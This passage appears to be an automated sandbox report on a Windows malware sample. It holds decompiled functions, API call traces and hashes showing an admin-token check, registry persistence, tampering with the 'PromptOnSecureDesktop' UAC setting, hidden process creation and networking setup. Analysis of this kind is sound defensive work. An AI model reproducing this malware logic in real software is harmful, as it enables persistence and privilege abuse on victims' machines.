0x0040a093
0x0040a093
0x0040a007
0x00409feb
0x00409fe1
0x0040a09a
0x0040a09d
0x0040a09f
0x0040a0a2
0x0040a0b6
0x0040a0de
0x0040a0e7
0x0040a0ec
0x0040a0fd
0x0040a0fd
0x0040a0a2
0x0040a120
0x0040a126
0x0040a128
0x0040a131
0x0040a137
0x0040a137
0x0040a13a
0x0040a13e
0x0040a140
0x0040a143
0x0040a145
0x0040a145
0x0040a143
0x00000000
0x0040a13e
0x00409ef4
0x00409ef7
0x00000000
0x00000000
0x00000000
0x00409ef7
0x00409cac
0x00409cb2
0x00409cb4
0x00000000
0x00000000
0x00409cd5
0x00409cda
0x00409cdf
0x00000000
0x00000000
0x00409ce9
0x00409cec
0x00409d58
0x00409d59
0x00409d64
0x00409d65
0x00409d6a
0x00409d7a
0x00409d8b
0x00409d9d
0x00409da3
0x00409da3
0x00000000
0x00409cf6
0x00409cf6
0x00409cfc
0x00409cff
0x00409cff
0x00409d01
0x00409d02
0x00409d06
0x00409d0a
0x00409d16
0x00409d16
0x00409d17
0x00409d1b
0x00409d2f
0x00409d2f
0x00409d3e
0x00409d41
0x00409d49
0x00409d4f
0x00409d52
0x00409da5
0x00409da8
0x00409db6
0x00409db6
0x00409db0
0x00409db0
0x00409db0
0x00409db7
0x00409db8
0x00409dbf
0x00409dc3
0x00409dca
0x00409dd1
0x00409dd2
0x00409dd7
0x00409ddc
0x00409e21
0x00409e26
0x00409e29
0x00000000
0x00409dde
0x00409df5
0x00409e0c
0x00409e11
0x00409e16
0x00409e1c
0x00409e2e
0x00409e2e
0x00409e38
0x00000000
0x00409e38
0x00409df9
0x00409dfd
0x00409dff
0x00409dff
0x00409e04
0x00000000
0x00409e04
0x00409d1d
0x00409d1d
0x00409d23
0x00409d2a
0x00409d2d
0x00000000
0x00000000
0x00000000
0x00409d2d
0x00000000
0x00409d23
0x00409d1b
0x00409cec
0x00409c81
0x00409c3f
0x00409b47
0x00409b4a
0x00409b4d
0x00409b56
0x00409b8b
0x00409b91
0x00409b92
0x00409b94
0x00409b9f
0x00409b9f
0x00409b9f
0x00409ba4
0x00409ba4
0x00409bb3
0x00409bb8
0x00409bbf
0x00409bbf
0x00409bc2
0x00409bc8
0x00409bde
0x00409be3
0x00409be8
0x00409bfa
0x00409bff
0x00409c02
0x00409c02
0x00409be8
0x00000000
0x00409bc8
0x00409b58
0x00409b5e
0x00409b64
0x00409b67
0x00000000
0x00409b69
0x00409b6b
0x00409b7a
0x00409b7f
0x00000000
0x00409b7f
0x00409b67

APIs

SetErrorMode.KERNEL32(00000003), ref: 00409A7F
SetErrorMode.KERNEL32(00000003), ref: 00409A83
SetUnhandledExceptionFilter.KERNEL32(00406511), ref: 00409A8A

Part of subcall function 0040EC54: GetSystemTimeAsFileTime.KERNEL32(?), ref: 0040EC5E
Part of subcall function 0040EC54: GetVolumeInformationA.KERNEL32(00000000,00000000,00000004,?,00000000,00000000,00000000,00000000), ref: 0040EC72
Part of subcall function 0040EC54: GetTickCount.KERNEL32 ref: 0040EC78

GetModuleHandleA.KERNEL32(00000000,?,0000012C), ref: 00409AB3
GetModuleFileNameA.KERNEL32(00000000), ref: 00409ABA
GetCommandLineA.KERNEL32 ref: 00409AFD
lstrlenA.KERNEL32(?), ref: 00409B99
ExitProcess.KERNEL32 ref: 00409C06
GetTempPathA.KERNEL32(000001F4,?), ref: 00409CAC
lstrcpyA.KERNEL32(?,00000000), ref: 00409D7A
lstrcatA.KERNEL32(?,?), ref: 00409D8B
lstrcatA.KERNEL32(?,0041070C), ref: 00409D9D
GetFileAttributesExA.KERNEL32(00000022,00000000,?), ref: 00409DED
DeleteFileA.KERNEL32(00000022), ref: 00409E38
GetEnvironmentVariableA.KERNEL32(00000000,?,?,?,?,000001F4), ref: 00409E6F
lstrcpyA.KERNEL32(?,00000022,?,?,?,?,?,?,?,?,?,?,?,?,000001F4), ref: 00409EC8
lstrlenA.KERNEL32(00000022,?,?,?,?,?,?,?,?,?,?,?,?,000001F4), ref: 00409ED5
RegOpenKeyExA.ADVAPI32(80000001,00000000,?,?,00000000,00000103,?), ref: 00409F3B
RegSetValueExA.ADVAPI32(?,?,00000000,00000001,00000022,?,?,?,00000000,00000103,?), ref: 00409F5E
RegCloseKey.ADVAPI32(?,?,?,00000000,00000103,?), ref: 00409F6A
GetModuleHandleA.KERNEL32(00000000,?,00000104,?,?,?,?,?,?,?,?,?,?,?,00000000,00000103), ref: 00409FAD
GetModuleFileNameA.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,00000103,?), ref: 00409FB4
GetDriveTypeA.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000103,?), ref: 00409FFE
lstrcatA.KERNEL32(00000022,00000000), ref: 0040A038
lstrcatA.KERNEL32(00000022,00410A34), ref: 0040A05E
lstrcatA.KERNEL32(00000022,00000022), ref: 0040A072
lstrcatA.KERNEL32(00000022,00410A34), ref: 0040A08D
wsprintfA.USER32 ref: 0040A0B6
lstrcatA.KERNEL32(00000022,00000000), ref: 0040A0DE
lstrcatA.KERNEL32(00000022,?), ref: 0040A0FD
CreateProcessA.KERNEL32(00000000,00000022,00000000,00000000,00000000,08000000,00000000,00000000,00000044,?), ref: 0040A120
DeleteFileA.KERNEL32(00000022,?,?,?,?,?,?,?,?,?,?,?,00000000,00000103,?), ref: 0040A131
GetModuleHandleA.KERNEL32(00000000,00000022,0000012C), ref: 0040A174
GetModuleFileNameA.KERNEL32(00000000), ref: 0040A17B
GetDriveTypeA.KERNEL32(00000022), ref: 0040A1B6
GetCommandLineA.KERNEL32 ref: 0040A1E5

Part of subcall function 004099D2: lstrcpyA.KERNEL32(?,?,00000100,PromptOnSecureDesktop,00000000,?,00409E9D,?,00000022,?,?,?,?,?,?,?), ref: 004099DF
Part of subcall function 004099D2: lstrcatA.KERNEL32(00000022,00000000,?,?,00409E9D,?,00000022,?,?,?,?,?,?,?,000001F4), ref: 00409A3C
Part of subcall function 004099D2: lstrcatA.KERNEL32(?,00000022,?,?,?,?,?,00409E9D,?,00000022,?,?,?), ref: 00409A52

lstrlenA.KERNEL32(?), ref: 0040A288
StartServiceCtrlDispatcherA.ADVAPI32(?), ref: 0040A3B7
GetLastError.KERNEL32 ref: 0040A3ED
Sleep.KERNEL32(000003E8), ref: 0040A400
DeleteFileA.KERNEL32(004133D8), ref: 0040A407
CreateThread.KERNEL32 ref: 0040A42C
WSAStartup.WS2_32(00001010,?), ref: 0040A43A
CreateThread.KERNEL32 ref: 0040A469
Sleep.KERNEL32(00000BB8), ref: 0040A48A
GetTickCount.KERNEL32 ref: 0040A49F
GetTickCount.KERNEL32 ref: 0040A4B7
Sleep.KERNEL32(00002710), ref: 0040A4C3

Strings

Mt, xrefs: 00409AB3, 00409FAD, 0040A174
\, xrefs: 00409D0C
", xrefs: 0040A078
D, xrefs: 00409F8E
PromptOnSecureDesktop, xrefs: 00409B14, 00409B19, 00409B32, 00409E65, 00409EAA, 00409F2C, 00409F72, 0040A024, 0040A040, 0040A0CD, 0040A0E6, 0040A14C, 0040A1FC, 0040A210, 0040A2F3, 0040A304
0t, xrefs: 0040A491
%X%08X, xrefs: 0040A0B0
", xrefs: 00409EDB
", xrefs: 0040A189
P, xrefs: 00409DAA

Memory Dump Source

Source File: 00000016.00000002.462611897.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000016.00000002.462639431.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_BE39.jbxd

Yara matches

Similarity

API ID: lstrcat$File$Module$CountCreateDeleteErrorHandleNameSleepTicklstrcpylstrlen$CommandDriveLineModeProcessThreadTimeType$AttributesCloseCtrlDispatcherEnvironmentExceptionExitFilterInformationLastOpenPathServiceStartStartupSystemTempUnhandledValueVariableVolumewsprintf
String ID: "$"$"$%X%08X$0t$D$P$PromptOnSecureDesktop$\$Mt
API String ID: 2089075347-3963311112
Opcode ID: 22371034e60be2e8533f9a4e74c45ceaa5b305d0f588b9e787c30c92806b4a47
Instruction ID: 8eb9ea6afe9ee9197cc0e6cd2b03883a1bab6226c4cfd690aa98a93bf3167ae2
Opcode Fuzzy Hash: 22371034e60be2e8533f9a4e74c45ceaa5b305d0f588b9e787c30c92806b4a47
Instruction Fuzzy Hash: 275291B1D40259BBDB11DBA1CC49EEF7BBCAF04304F1444BBF509B6182D6788E948B69

Uniqueness

Uniqueness Score: -1.00%

Function 00406EDD, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 52
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 68%

			E00406EDD() {
				int _v8;
				void* _v12;
				short _v16;
				struct _SID_IDENTIFIER_AUTHORITY _v20;
				signed int _t12;
				int _t15;
				int* _t16;

				_t12 =  *0x412048; // 0x1
				if(_t12 < 0) {
					_v20.Value = 0;
					_v16 = 0x500;
					_t15 = AllocateAndInitializeSid( &_v20, 2, 0x20, 0x220, 0, 0, 0, 0, 0, 0,  &_v12);
					_v8 = _t15;
					if(_t15 != 0) {
						_t6 =  &_v8; // 0x40702a
						_t16 = _t6;
						__imp__CheckTokenMembership(0, _v12, _t16);
						if(_t16 != 0) {
							 *0x412048 = 0 | _v8 == 0x00000000;
						}
						FreeSid(_v12);
					}
					_t12 =  *0x412048; // 0x1
					if(_t12 != 0) {
						_t12 = E00406E36(0x12, 0); // executed
						 *0x412048 = _t12;
					}
				}
				return _t12;
			}

0x00406ee0
0x00406eed
0x00406f06
0x00406f09
0x00406f0f
0x00406f15
0x00406f1a
0x00406f1c
0x00406f1c
0x00406f24
0x00406f2c
0x00406f36
0x00406f36
0x00406f3e
0x00406f3e
0x00406f44
0x00406f4b
0x00406f50
0x00406f57
0x00406f57
0x00406f4b
0x00406f5e

APIs

AllocateAndInitializeSid.ADVAPI32(?,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,?,00000000), ref: 00406F0F
CheckTokenMembership.ADVAPI32(00000000,?,*p@), ref: 00406F24
FreeSid.ADVAPI32(?), ref: 00406F3E

Strings

*p@, xrefs: 00406F1C, 00406F1F

Memory Dump Source

Source File: 00000016.00000002.462611897.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000016.00000002.462639431.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_BE39.jbxd

Yara matches

Similarity

API ID: AllocateCheckFreeInitializeMembershipToken
String ID: *p@
API String ID: 3429775523-2474123842
Opcode ID: 0a69dbeda0d4a5e9697027706ead212625e9f8fcf1c47752efd156d30f81919c
Instruction ID: a55d58a6849641b9de595c9770ce5785232f8714219103e6702645194e06a02f
Opcode Fuzzy Hash: 0a69dbeda0d4a5e9697027706ead212625e9f8fcf1c47752efd156d30f81919c
Instruction Fuzzy Hash: 6701E571904209AFDB10DFE4ED85AAE7BB8F708304F50847AE606E2191D7745A54CB18

Uniqueness

Uniqueness Score: -1.00%

Function 00401820, Relevance: 3.1, APIs: 2, Instructions: 74
COMMON

Download Yara Rule

C-Code - Quality: 25%

			E00401820(intOrPtr* _a4, intOrPtr* _a8) {
				char _v8;
				char _v12;
				char _v16;
				intOrPtr _t17;
				intOrPtr _t20;
				intOrPtr _t22;
				intOrPtr _t25;
				void* _t41;
				intOrPtr _t42;

				_v8 = 0;
				_v12 = 0;
				_t17 = E00401000();
				if(_t17 > 0) {
					_t20 =  *0x413940(GetCurrentProcess(), 8,  &_v8);
					if(_t20 >= 0) {
						_t22 =  *0x413954(_v8, 0x12,  &_v16, 4,  &_v12, _t41); // executed
						_t42 = _t22;
						 *0x41393c(_v8);
						if(_t42 >= 0) {
							_t25 = _v16;
							if(_t25 == 3) {
								return 1;
							} else {
								 *_a8 = 0x20c;
								 *_a4 = _t25;
								return 0;
							}
						} else {
							 *_a8 = 0x20b;
							 *_a4 = _t42;
							return 0;
						}
					} else {
						 *_a8 = 0x20a;
						 *_a4 = _t20;
						return 0;
					}
				} else {
					 *_a8 = 0x201;
					 *_a4 = _t17;
					return 0;
				}
			}

0x00401826
0x0040182d
0x00401834
0x0040183b
0x0040185e
0x00401866
0x0040188d
0x00401893
0x00401899
0x004018a1
0x004018b8
0x004018be
0x004018de
0x004018c0
0x004018c6
0x004018cc
0x004018d4
0x004018d4
0x004018a3
0x004018a9
0x004018af
0x004018b7
0x004018b7
0x00401868
0x0040186e
0x00401874
0x0040187b
0x0040187b
0x0040183d
0x00401843
0x00401849
0x00401850
0x00401850

APIs

Part of subcall function 00401000: LoadLibraryA.KERNEL32(ntdll.dll,00000000,00401839,00409646), ref: 00401012

GetCurrentProcess.KERNEL32(00000008,00000000,00409646), ref: 00401857

Memory Dump Source

Source File: 00000016.00000002.462611897.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000016.00000002.462639431.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_BE39.jbxd

Yara matches

Similarity

API ID: CurrentLibraryLoadProcess
String ID:
API String ID: 2934848855-0
Opcode ID: d3bf04374683254a7ff9582ff7bb8df82db05eb60da1d0487f63262ac05645c4
Instruction ID: ff152fe7df6283169b44c0841219fe648ae006778000c8fb05779bb95ac2d07b
Opcode Fuzzy Hash: d3bf04374683254a7ff9582ff7bb8df82db05eb60da1d0487f63262ac05645c4
Instruction Fuzzy Hash: 8B215476A0120CAFDB01DFA4D844BE9B7B8EB49315F10C1A5ED08DB350D775DA40CB84

Uniqueness

Uniqueness Score: -1.00%

Function 004073FF, Relevance: 23.1, APIs: 11, Strings: 2, Instructions: 345
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 76%

			E004073FF(void* __ecx, intOrPtr* _a4, signed int* _a8, int** _a12, char* _a16, char* _a20) {
				CHAR* _v8;
				void* _v12;
				int _v16;
				void* _v20;
				int* _v24;
				char* _v28;
				intOrPtr _v32;
				int _v36;
				char _v295;
				char _v296;
				char _v556;
				void _v592;
				intOrPtr* _t85;
				int** _t86;
				char* _t87;
				char* _t88;
				intOrPtr _t89;
				char* _t91;
				long _t92;
				signed int _t93;
				long _t97;
				signed int _t103;
				long _t107;
				char* _t118;
				intOrPtr* _t119;
				CHAR* _t123;
				void* _t125;
				char* _t127;
				intOrPtr* _t134;
				void* _t136;
				intOrPtr _t137;
				signed int* _t146;
				int** _t147;
				void* _t160;
				signed int _t163;
				intOrPtr _t164;
				void* _t165;
				intOrPtr _t167;
				intOrPtr _t172;
				intOrPtr* _t173;
				void* _t186;
				intOrPtr _t187;
				int* _t188;
				void* _t190;
				void* _t191;
				char* _t192;
				signed int _t194;
				int* _t196;
				void* _t202;
				void* _t203;
				void* _t204;
				void* _t206;

				_t165 = __ecx;
				_t85 = _a8;
				_t188 = 0;
				_v16 = 0x104;
				if(_t85 != 0) {
					 *_t85 = 0;
				}
				_t86 = _a12;
				if(_t86 != _t188) {
					 *_t86 = _t188;
				}
				_t87 = _a16;
				if(_t87 != _t188) {
					 *_t87 = 0;
				}
				_t88 = _a20;
				if(_t88 != _t188) {
					 *_t88 = 0; // executed
				}
				_t89 = E00406DC2(_t165); // executed
				_v32 = _t89;
				_t160 = 0xe4;
				_t91 = E00402544(0x4122f8, 0x4106e8, 0x22, 0xe4, 0xc8);
				_t204 = _t203 + 0x14;
				_t92 = RegOpenKeyExA(0x80000002, _t91, _t188, 0x20119,  &_v20); // executed
				_push(0x100);
				_push(_t188);
				_push(0x4122f8);
				if(_t92 != 0) {
					_t93 = E0040EE2A(_t165);
					goto L66;
				} else {
					E0040EE2A(_t165);
					_t206 = _t204 + 0xc;
					_push(_v16);
					_push( &_v556);
					_v24 = _t188;
					_push(_t188);
					while(1) {
						_t97 = RegEnumKeyA(_v20, ??, ??, ??); // executed
						if(_t97 != 0) {
							break;
						}
						if(E00406CAD( &_v556) == 0) {
							L41:
							_v24 =  &(_v24[0]);
							_push(0x104);
							_v16 = 0x104;
							_push( &_v556);
							_push(_v24);
							continue;
						}
						_t103 = E0040F1A5( &_v556);
						_pop(_t167);
						if((_t103 ^ 0x61616161) != _v32) {
							goto L41;
						}
						_v12 = _t188;
						_v16 = 0x104;
						_t107 = RegOpenKeyExA(_v20,  &_v556, _t188, 0x101,  &_v12);
						if(_t107 != _t188) {
							L45:
							if(_t107 != 5) {
								L50:
								E0040EE2A(_t167, 0x4122f8, _t188, 0x100);
								_t206 = _t206 + 0xc;
								L39:
								if(_v12 != _t188) {
									RegCloseKey(_v12);
								}
								goto L41;
							}
							E0040EF00(_a16,  &_v556);
							if(_v12 != _t188) {
								RegCloseKey(_v12);
							}
							_push(4);
							_pop(0);
							L64:
							RegCloseKey(_v20);
							return 0;
						}
						_t118 = E00402544(0x4122f8, 0x4106dc, 0xa, _t160, 0xc8);
						_t206 = _t206 + 0x14;
						_t107 = RegQueryValueExA(_v12, _t118, _t188,  &_v36,  &_v296,  &_v16);
						if(_t107 != _t188) {
							goto L45;
						}
						_t119 =  &_v556;
						_t186 = _t119 + 1;
						do {
							_t167 =  *_t119;
							_t119 = _t119 + 1;
						} while (_t167 != 0);
						if(_v16 <= _t119 - _t186) {
							goto L50;
						}
						_t123 = E0040EE95( &_v296,  &_v556);
						_pop(_t167);
						_v8 = _t123;
						if(_t123 == _t188) {
							goto L50;
						}
						_t125 = E0040EE95(_v8, E00402544(0x4122f8, 0x410694, 5, _t160, 0xc8));
						_t206 = _t206 + 0x1c;
						if(_t125 == 0) {
							_t188 = 0;
							goto L50;
						}
						if(_v296 != 0x22) {
							_t127 = E0040ED03( &_v296, 0x20);
							_pop(_t167);
						} else {
							E0040EF00( &_v296,  &_v295);
							_t127 = E0040ED03( &_v296, 0x22);
							_t206 = _t206 + 0x10;
						}
						if(_t127 != 0) {
							 *_t127 = 0;
						}
						_v8 = E0040EE95( &_v296,  &_v556);
						_v28 = E0040EE95(_v8, E00402544(0x4122f8, 0x410694, 5, _t160, 0xc8));
						E0040EE2A(_t167, 0x4122f8, 0, 0x100);
						_t134 = _a4;
						_t206 = _t206 + 0x30;
						_t190 = _t134 + 1;
						do {
							_t172 =  *_t134;
							_t134 = _t134 + 1;
						} while (_t172 != 0);
						_t173 = _v8;
						_t191 = _t134 - _t190;
						_t43 = _t173 + 1; // 0x1
						_t136 = _t43;
						do {
							_t187 =  *_t173;
							_t173 = _t173 + 1;
						} while (_t187 != 0);
						_t174 = _t173 - _t136;
						if(_t191 <= _t173 - _t136 || E0040ED77(_t191 - _t174 + _a4, _v8) != 0) {
							_t192 = _v28;
							 *_t192 = 0;
							_t137 = E0040ED23(_v8, 0x5c);
							_v8 = _t137;
							if(_t137 != 0) {
								_v8 = _v8 + 1;
							} else {
								_v8 =  &_v296;
							}
							if(E00406CAD(_v8) == 0) {
								 *_t192 = 0x2e;
								goto L38;
							} else {
								_t194 = E0040F1A5(_v8) ^ 0x61616161;
								_t163 = _t194 >> 0x00000008 & 0x000000ff;
								 *_v28 = 0x2e;
								if(E00406C96(_t194) != 0) {
									L37:
									_t160 = 0xe4;
									L38:
									_t188 = 0;
									goto L39;
								}
								_t56 = _t163 - 0x51; // -81
								if(_t56 > 0x2e || (_t194 & 0x000000ff) >= 0x10) {
									goto L37;
								} else {
									_t196 = 0;
									if(GetFileAttributesExA( &_v296, 0,  &_v592) != 0) {
										_t196 = 1;
									}
									_t146 = _a8;
									if(_t146 != 0) {
										 *_t146 = _t163;
									}
									_t164 = _a16;
									if(_t164 != 0) {
										_t202 = _v8 -  &_v296;
										E0040EE08(_t164,  &_v296, _t202);
										 *((char*)(_t202 + _t164)) = 0;
									}
									if(_a20 != 0) {
										E0040EF00(_a20, _v8);
									}
									_t147 = _a12;
									if(_t147 != 0) {
										 *_t147 = _t196;
									}
									_push(3);
									_pop(0);
									goto L63;
								}
							}
						} else {
							E0040EF00(_a16,  &_v556);
							L63:
							RegCloseKey(_v12);
							goto L64;
						}
					}
					_t93 = RegCloseKey(_v20); // executed
					L66:
					return _t93 | 0xffffffff;
				}
			}

0x004073ff
0x00407408
0x0040740e
0x00407410
0x00407419
0x0040741b
0x0040741b
0x0040741d
0x00407422
0x00407424
0x00407424
0x00407426
0x0040742b
0x0040742d
0x0040742d
0x00407430
0x00407435
0x00407437
0x00407437
0x0040743a
0x0040743f
0x00407451
0x00407464
0x00407469
0x00407472
0x00407478
0x0040747d
0x0040747e
0x00407481
0x004077f9
0x00000000
0x00407487
0x00407487
0x0040748c
0x0040748f
0x00407498
0x00407499
0x0040749c
0x00407703
0x00407706
0x0040770e
0x00000000
0x00000000
0x004074b1
0x004076ed
0x004076ed
0x004076f5
0x004076f6
0x004076ff
0x00407700
0x00000000
0x00407700
0x004074be
0x004074c8
0x004074cc
0x00000000
0x00000000
0x004074e6
0x004074e9
0x004074f0
0x004074f8
0x00407727
0x0040772a
0x00407755
0x0040775c
0x00407761
0x004076df
0x004076e2
0x004076e7
0x004076e7
0x00000000
0x004076e2
0x00407736
0x00407740
0x00407745
0x00407745
0x0040774b
0x0040774d
0x004077ec
0x004077ef
0x00000000
0x004077f5
0x0040751c
0x00407521
0x00407528
0x00407530
0x00000000
0x00000000
0x00407536
0x0040753c
0x0040753f
0x0040753f
0x00407541
0x00407542
0x0040754b
0x00000000
0x00000000
0x0040755f
0x00407565
0x00407566
0x0040756b
0x00000000
0x00000000
0x00407589
0x0040758e
0x00407593
0x00407753
0x00000000
0x00407753
0x004075a0
0x004075d1
0x004075d7
0x004075a2
0x004075b0
0x004075be
0x004075c3
0x004075c3
0x004075da
0x004075dc
0x004075dc
0x004075fc
0x00407615
0x00407618
0x0040761d
0x00407620
0x00407623
0x00407626
0x00407626
0x00407628
0x00407629
0x0040762d
0x00407632
0x00407634
0x00407634
0x00407637
0x00407637
0x00407639
0x0040763a
0x0040763e
0x00407642
0x0040765c
0x00407664
0x00407667
0x0040766e
0x00407673
0x00407680
0x00407675
0x0040767b
0x0040767b
0x0040768e
0x00407722
0x00000000
0x00407694
0x004076a1
0x004076ad
0x004076b3
0x004076bf
0x004076d8
0x004076d8
0x004076dd
0x004076dd
0x00000000
0x004076dd
0x004076c1
0x004076c7
0x00000000
0x0040777e
0x00407785
0x00407797
0x00407799
0x00407799
0x0040779a
0x0040779f
0x004077a1
0x004077a1
0x004077a3
0x004077a8
0x004077b3
0x004077b8
0x004077c0
0x004077c0
0x004077c8
0x004077d0
0x004077d6
0x004077d7
0x004077dc
0x004077de
0x004077de
0x004077e0
0x004077e2
0x00000000
0x004077e2
0x004076c7
0x00407769
0x00407773
0x004077e3
0x004077e6
0x00000000
0x004077e6
0x00407642
0x00407717
0x00407801
0x00000000
0x00407801

APIs

RegOpenKeyExA.KERNEL32(80000002,00000000,00020119,00000000,?,74E043E0,00000000), ref: 00407472
RegOpenKeyExA.ADVAPI32(00000000,?,00000000,00000101,?,?,?,?,?,?,?,74E043E0,00000000), ref: 004074F0
RegQueryValueExA.ADVAPI32(?,00000000,?,00000000,?,?,00000104,?,?,?,?,?,?,74E043E0,00000000), ref: 00407528
___ascii_stricmp.LIBCMT ref: 0040764D
RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,?,?,?,74E043E0,00000000), ref: 004076E7
RegEnumKeyA.ADVAPI32(00000000,00000000,?,00000104), ref: 00407706
RegCloseKey.KERNEL32(00000000,?,?,?,?,?,?,74E043E0,00000000), ref: 00407717
RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,74E043E0,00000000), ref: 00407745
RegCloseKey.ADVAPI32(00000000,?,?,?,?,?,?,74E043E0,00000000), ref: 004077EF

Part of subcall function 0040F1A5: lstrlenA.KERNEL32(000000C8,000000E4,PromptOnSecureDesktop,000000C8,00407150,?), ref: 0040F1AD

GetFileAttributesExA.KERNEL32(00000022,00000000,?), ref: 0040778F
RegCloseKey.ADVAPI32(?), ref: 004077E6

Strings

PromptOnSecureDesktop, xrefs: 0040745E, 00407463, 0040747E, 0040751B, 0040757F, 004075FB, 00407614, 0040775B
", xrefs: 00407599

Memory Dump Source

Source File: 00000016.00000002.462611897.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000016.00000002.462639431.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_BE39.jbxd

Yara matches

Similarity

API ID: Close$Open$AttributesEnumFileQueryValue___ascii_stricmplstrlen
String ID: "$PromptOnSecureDesktop
API String ID: 3433985886-3108538426
Opcode ID: be1730cef161fe20a2692bf5d8dfd6f9750a488cf0ac433aa7dcf1ab0d83bb1b
Instruction ID: 7fe5a339a68ccf6b09c70fd716338511db9c3a0a85de510e5ec7ef93542d7acc
Opcode Fuzzy Hash: be1730cef161fe20a2692bf5d8dfd6f9750a488cf0ac433aa7dcf1ab0d83bb1b
Instruction Fuzzy Hash: 10C1F171D04209ABEB119BA5DC45BEF7BB9EF04310F1044B7F504B72D1EA78AE908B69

Uniqueness

Uniqueness Score: -1.00%

Function 0040704C, Relevance: 23.1, APIs: 10, Strings: 3, Instructions: 332
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 68%

			E0040704C(intOrPtr _a4, int _a8, int _a12, int _a16, int* _a20) {
				CHAR* _v8;
				void* _v12;
				char _v16;
				int _v20;
				char _v24;
				char _v28;
				signed int _v32;
				char _v64;
				char _v363;
				char _v364;
				void _v400;
				intOrPtr* _t88;
				int* _t89;
				int* _t90;
				int* _t91;
				char* _t93;
				long _t94;
				signed int _t96;
				signed int _t97;
				long _t99;
				signed int _t107;
				int _t109;
				int _t119;
				int _t121;
				int _t122;
				int _t123;
				signed int _t125;
				int _t130;
				int _t136;
				int _t149;
				int _t155;
				void* _t158;
				void* _t166;
				int _t196;
				int _t202;
				void* _t203;
				void* _t204;
				void* _t206;
				void* _t207;

				_t88 = _a8;
				_t167 = 0;
				_v16 = 0x12c;
				_v24 = 0x20;
				_v364 = 0;
				if(_t88 != 0) {
					 *_t88 = 0;
				}
				_t89 = _a12;
				if(_t89 != _t167) {
					 *_t89 = _t167;
				}
				_t90 = _a16;
				if(_t90 != _t167) {
					 *_t90 = _t167;
				}
				_t91 = _a20;
				if(_t91 != _t167) {
					 *_t91 = _t167;
				}
				_t93 = E00402544(0x4122f8,  &E004106AC, 0x2e, 0xe4, 0xc8);
				_t204 = _t203 + 0x14;
				_t94 = RegOpenKeyExA(0x80000001, _t93, _t167, 0x101,  &_v12); // executed
				if(_t94 != 0) {
					L21:
					_t96 = E0040EE2A(_t167, 0x4122f8, 0, 0x100) | 0xffffffff;
					goto L22;
				} else {
					_t97 = E00406DC2(_t167);
					_push( &_v16);
					_push( &_v364);
					_push( &_v28);
					_v32 = _t97;
					_push(0);
					_push( &_v24);
					_t167 =  &_v64;
					_push( &_v64);
					_v8 = 0;
					_push(0);
					while(1) {
						_t99 = RegEnumValueA(_v12, ??, ??, ??, ??, ??, ??, ??); // executed
						if(_t99 == 0x103) {
							break;
						}
						__eflags = _t99;
						if(_t99 != 0) {
							L18:
							_t25 =  &_v8;
							 *_t25 =  &(_v8[1]);
							__eflags =  *_t25;
							_push( &_v16);
							_push( &_v364);
							_push( &_v28);
							_push(0);
							_push( &_v24);
							_push( &_v64);
							_push(_v8);
							_v16 = 0x12c;
							_v24 = 0x20;
							continue;
						}
						__eflags = _v24 - _t99;
						if(_v24 <= _t99) {
							goto L18;
						}
						__eflags = _v16 - _t99;
						if(_v16 <= _t99) {
							goto L18;
						}
						__eflags = _v28 - 1;
						if(_v28 != 1) {
							goto L18;
						}
						_t107 = E0040EED1( &_v64, E00402544(0x4122f8,  &E004106A0, 9, 0xe4, 0xc8));
						_t206 = _t204 + 0x1c;
						asm("sbb eax, eax");
						_t109 =  ~_t107 + 1;
						__eflags = _t109;
						_v20 = _t109;
						if(_t109 != 0) {
							L23:
							_v8 = E0040EE95( &_v364, E00402544(0x4122f8,  &E0041069C, 4, 0xe4, 0xc8));
							E0040EE2A(_t167, 0x4122f8, 0, 0x100);
							_t207 = _t206 + 0x28;
							__eflags = _v8;
							if(_v8 == 0) {
								__eflags = _v364 - 0x22;
								if(_v364 == 0x22) {
									E0040EF00( &_v364,  &_v363);
									_t149 = E0040ED23( &_v364, 0x22);
									_t207 = _t207 + 0x10;
									__eflags = _t149;
									if(_t149 != 0) {
										 *_t149 = 0;
									}
								}
								_t196 = E0040EE95( &_v364, E00402544(0x4122f8, 0x410694, 5, 0xe4, 0xc8));
								E0040EE2A(_t167, 0x4122f8, 0, 0x100);
								__eflags = _t196;
								if(_t196 != 0) {
									_t119 = E0040ED77( &_v364, _a4);
									__eflags = _t119;
									if(_t119 != 0) {
										 *_t196 = 0;
										_t121 = E0040ED23( &_v364, 0x5c);
										_v8 = _t121;
										__eflags = _t121;
										if(_t121 != 0) {
											_t63 =  &_v8;
											 *_t63 =  &(_v8[1]);
											__eflags =  *_t63;
										} else {
											_v8 =  &_v364;
										}
										_t122 = E00406CAD(_v8);
										__eflags = _t122;
										if(_t122 != 0) {
											asm("popad");
											asm("popad");
											asm("popad");
											asm("popad");
											_push(0x8b00007e);
											asm("lock xor esi, 0x55555555");
											_v16 = 0x4122f8;
											_t166 = 0xad;
											_t123 = E00406C96(0x4122f8);
											__eflags = _t123;
											if(_t123 != 0) {
												L57:
												RegCloseKey(_v12);
												__eflags = _a16;
												if(_a16 != 0) {
													E0040EF00(_a16,  &_v64);
												}
												_t125 = 0;
												__eflags = _v20;
												 *_t196 = 0x2e;
												goto L34;
											}
											__eflags = 0x6d - 0x3f;
											if(0x6d > 0x3f) {
												goto L57;
											}
											__eflags = 0xf8 - 0x10;
